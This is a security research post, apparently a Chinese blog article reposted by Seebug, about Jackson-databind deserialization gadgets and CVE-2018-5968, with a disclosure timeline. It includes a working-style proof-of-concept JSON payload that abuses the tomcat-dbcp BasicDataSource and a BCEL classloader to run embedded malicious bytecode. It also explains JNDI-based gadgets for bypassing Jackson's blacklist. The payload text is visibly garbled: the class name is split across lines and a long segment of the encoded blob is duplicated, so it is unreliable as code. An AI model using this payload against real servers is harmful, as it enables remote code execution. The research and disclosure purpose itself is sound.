作者:隱形人真忙
作者博客:http://blog.csdn.net/u011721501/article/details/79257709

0x00 Overview

歷史上Jackson的反序列化漏洞以及繞過主要是CVE-2017-7525 和 CVE-2017-17485。而針對反序列化漏洞的防護,jackson主要采用了黑名單機制,通過限制反序列化的類名稱來進行防護。黑名單列表在com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator類中:

本文主要介紹dbcp這個有趣的gadget(目前已經失效),以及新發現的CVE-2018-5968,涉及到兩個gadgets繞過jackson黑名單進行RCE。

0x01 Dbcp Gadget

這里我不得不先介紹一下dbcp這個gadget,在CVE-2017-7525時,官方并沒有添加到黑名單中,而是從CVE-2017-17485爆出后才加入list。該Gadget是利用了org.apache.tomcat.dbcp.dbcp2.BasicDataSource,該類在tomcat-dbcp.jar中。當時jackson首次爆出漏洞后,很多人的目光投向了TemplatesImpl這個Gadget,但是這個Gadget的利用受到了JDK版本的限制,導致在JDK 8下不是很好用。當時我也提到了這個Gadget:

然而,市面上并沒有針對這個Gadget利用的POC,這里我給出一下:

{  

       "@class":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",  
 "driverClassName":"org.apache.log4j.spi
BCEL
BCEL
$l$8b$I$A$A$A$A$A$A$A$a5UmS$TW$U$7e$ae$J$ec$b2n$V$a3$88$bc$94Bk5$60$60$Jo$K$BDR$a1$d8$E$u$d8$b4$a9$b5$edes$83$8b$9b$dd$ccfW$d3_$e4W$fd$920e$a6$fd$d8$99$fe$Kg$fa$3f$da$9e$bbYD$qc$9d$v3$dc$bb$f7$dcs$9f$fb$9cs$9es$f3$e7$df$bf$fe$G$m$NW$c1w$MK$fc$X7pJ$c6$B7$9f$d6$5c$c7$Q$f5$aa$edZ$bea$ba$95$K$t$bb$_$wU$9b$fb$c2$c8$92$c1u$b2$z$f3$D$fe$8c$af$K$ee$u$883t$l$d0$ca$b0$b9$b3ol$ed$j$I$d3g$e8$5c$b4$i$cb_f$88$rG$L$M$f1$ac$5b$S$gb$e8$d2$d1$81N$86$8b9$cb$R$9bAeOx$P$f9$9e$z$Y$S9$d7$e4v$81$7b$96$5cG$c6$b8$ff$c4$aa1$dc$cd$fd$_$92$Z$GM$d4$85$Z$f8$o$5b$v1$dcH$e6N$Y$ef$fa$9e$e5$ecgF$cf$9a4$5c$c2e$F$J$86K$t$7b$3b$81$e3$5b$V$a1$e3$Kz$Iv_$f8$91$85$a1$t$f96Hd$OQzu$5cC$l$85$pY0$dc$fc$8f$fb$b7$3d$d7$U$b5ZF$c1$A$c3$d5$d0n$b9$c6jP
$LO$94v$E$$JO$c1$c7$M$7d$c7$7b$hN5$f0$JI$f0Jk$5b$c3$t$YQ0$7c$8a$7b$84$ab$e3S$7c$c6p$81$b8$bfu$8e$a1$f7$98$ffi$40$8a$60$Q$9f$cb$ba$dd$60$b8$96l$eb2Z$d0$d0$8f$a4t$ge$b8$7c$e2$d4bC$fb$wn1$40$c18$dd$f3n$f0$ab$81e$87$9c$N$a4$VL$9e$ST$cbC$c7$U$a6$Z$94g$dc$O$c4V$f9$9d$S$b6D$d7$be$84$v$ccJVs$b2$3cm$b2$5e$90$kwt$ccc$81D$cb$abU$e1$90$40$c6$3fH$m$R$ed$8c$8aE$G$a6I$a4e$jw$b1$c2$a0$fan$cb$87$e1J$b2$z$af$7e$ac$ea$c8$86$be$94$c1$92l$HY$b3$fb$3a$d6$b0N$91$3e$e7$96$bf$e6za$Dm$a8$d8$m$nDb$l$8e$a4$3c$5c$e6$96$zJ$K$be$a2$8c$9f$dcp$bfn$8a$aao$b9$O$j5$a5$da$Tg$af$t$fcjK$Lt$b4$8d$f0$u$V$5eX8$wx$ae$bd$fe2$b29E$9dZ$3dn$Tw$86
$LO$94v$E$$JO$c1$c7$M$7d$c7$7b$hN5$f0$JI$f0Jk$5b$c3$t$YQ0$7c$8a$7b$84$ab$e3S$7c$c6p$81$b8$bfu$8e$a1$f7$98$ffi$40$8a$60$Q$9f$cb$ba$dd$60$b8$96l$eb2Z$d0$d0$8f$a4t$ge$b8$7c$e2$d4bC$fb$wn1$40$c18$dd$f3n$f0$ab$81e$87$9c$N$a4$VL$9e$ST$cbC$c7$U$a6$Z$94g$dc$O$c4V$f9$9d$S$b6D$d7$be$84$v$ccJVs$b2$3cm$b2$5e$90$kwt$ccc$81D$cb$abU$e1$90$40$c6$3fH$m$R$ed$8c$8aE$G$a6I$a4e$jw$b1$c2$a0$fan$cb$87$e1J$b2$z$af$7e$ac$ea$c8$86$be$94$c1$92l$HY$b3$fb$3a$d6$b0N$91$3e$e7$96$bf$e6za$Dm$a8$d8$m$nDb$l$8e$a4$3c$5c$e6$96$zJ$K$be$a2$8c$9f$dcp$bfn$8a$aao$b9$O$j5$a5$da$Tg$af$t$fcjK$Lt$b4$8d$f0$u$V$5eX8$wx$ae$bd$fe2$b29E$9dZ$3dn$Tw$86
Q$b7$fc$82$ac$P$r$83$e8j$bbn$e0$99b$cd$92$7d$dc$df$b6$_$t$q4$c3$60$d9u$8d$ed$e7$8e$f0$d23$f3$e9$f9$f4$f4$f4$ec$ectzjn$e6$f6$e4$q$89a$u$f7$be$7d$e2$a1$$$9av$f4$da$a8$f4$84$98$T$94$m$V$8f$e8u$d3q$B$X5$3c$c6$8fD$e1Lk$be$c9$94$82$9f$8f$fb$ecTye$bc$K$f64$98$e8b8$bf$pj$81$ed$_$3cZYYQAA$a5$3eP$r$S$s$p$r$b6$_$91$9e0$M$q$b3$ef$f5$3b$90$7eO$e5$b0$ac$81c$W$p$a0bB$fe$c5$e8$8b$kP$g$VZ$Z4SW$a1c$ac$J$f5$V$7d$9c$83Fcgh$8c$e1$3c$8dz$cb$81$e6$o$cd$5d2$n$d1$e1$bfB$m$60$f7$Q$ddc$N$5c$cd$j$a1$bfx$84$c1$e2$ad$G$86$9a$b8$de$c4$cd$7cbl$93$z$c4_$60$f0$I$a9$e2$f8$n$s$9a$98$e9$8b7p$3b$91$a1$a1$81$a5$cdT$D$f7$8a$L$f1$3f$feyM$c7$be$98$eb$Y$7f$99O$7c$f92$bct$T$5bx$QQ$9a$o$C$f2z$95V$3a$R$eb$a5y$80$beF$f0$R$ae$T$a9$r$9a$d7$d1$8d$3c$bd$96$5bH$60$h$3d$n$fd$e5$WE$e4h$Htz$3dD$a5$Ub$86$7c$be$s$f4$n$fa$r$db$a1$dd$YaM$90g$kq$fa$3f$87$87$f8$86$CT$f1$fd$9bl$dd$a1$b5$ccb$ea$Fb$y$97$f8$e1$Q$3f$e5$8f$c0$vf$b3$d8D$vQn$c0$a2p$ac$ee$c7$N$d8$NT$9ap$7e$7f$Vf$9d$a1$Q$s$f7$db$7f$B$97bQ$5d$3c$H$A$A",  
       "driverClassLoader":  
       {  
              "@class":"com.sun.org.apache.bcel.internal.util.ClassLoader"  
       },  
       "logWriter":null  
}  

其實看到poc,想必大家對這個觸發方式很熟悉了,沒有什么奇技淫巧,就是利用的setter方法進行的漏洞觸發,具體是setLogWriter這個方法。

在setLogWrite中首先調用了createDataSource方法,繼續跟進:

createDataSource方法調用了createConnectionFactory方法,跟進:

觸發點就很明顯了,就是Class.forName的時候。這里的driverClassName和driverClassLoader都是有setter方法的,所以我們直接可以從json串里傳入。這里加載惡意字節碼使用了Apache BCEL這個庫,這個庫主要用于字節碼操作,并且已經嵌入到JDK源碼中。漏洞觸發的關鍵在于com.sun.org.apache.bcel.internal.util.ClassLoader這個classloader的loadClass方法,我們看一下是如何處理字節碼的:

對于包含BCEL子串的類名,調用的是createClass方法進行還原:

因此driverClassName字段就使用BCEL將字節碼編碼為BCEL的形式即可,代碼如下:

0x02 Bypass the blacklist

總結一下,Jackson中的Gadget觸發無非這幾種思路:

(1)構造函數中觸發:這種限制比較多,需要默認構造函數。而且jackson中沒有針對構造函數的自動發現機制,只支持一個參數的構造函數。CVE-2017-17485就是運用的這個特性。

(2)Setter中觸發:目前公開的Gadget大多數使用的這種形式觸發。這里不需要默認的構造函數,只需要設置類屬性或者方法即可

(3) 其他形式觸發:比如反序列化過程中有map操作,可以通過equals方法進行觸發,這種就比較復雜,需要對源碼很熟悉。

因此我們尋找Gadget的時候也要按照這幾個思路來尋找,這里我主要關注了setter觸發的方式,所以著重看了setter中的敏感JNDI操作。

這里我找出了兩個新gadget,這兩個gadget都可以繞過CVE-2017-17485之后的jackson反序列化防護機制,用于申請了CVE-2018-5968。

1.org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

觸發過程如下:

(1)調用了setProperties方法

(2)該方法中對properties參數進行拆分,并將data_source屬性直接作為lookup方法的參數

(3)觸發RCE

相關代碼如下:

2.org.hibernate.jmx.StatisticsService

觸發過程如下:

(1)調用setSessionFactoryJNDIName

(2)(newInitialContext()).lookup()觸發RCE

代碼如下:

實際上,這個Gadget在pwntester的某個slide出現過。

0x03 Summary

基于黑名單機制的防護在任何場景都是很不完善的,是一種治標不治本的手段。因此,jackson-databind從3.X版本開始,會提供新的API接口和白名單機制來解決這個問題。而針對2.X版本,相信還是會有其他Gadgets,這個被發掘出來只是時間問題。

以下是CVE-2018-5968的timeline:

2018-1-17 發現兩個可用于繞過黑名單的Gadget

2018-1-18 報告給官方,并開了issue提醒開發人員

2018-1-22 官方更新了黑名單進行了修復,并合入2.9.4版本

2018-1-22 MITRE給了對應的CVE編號

Reference

[1] https://github.com/javaExploit/jackson-rce-via-two-new-gadgets

[2] https://github.com/FasterXML/jackson-databind/issues/1899


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/543/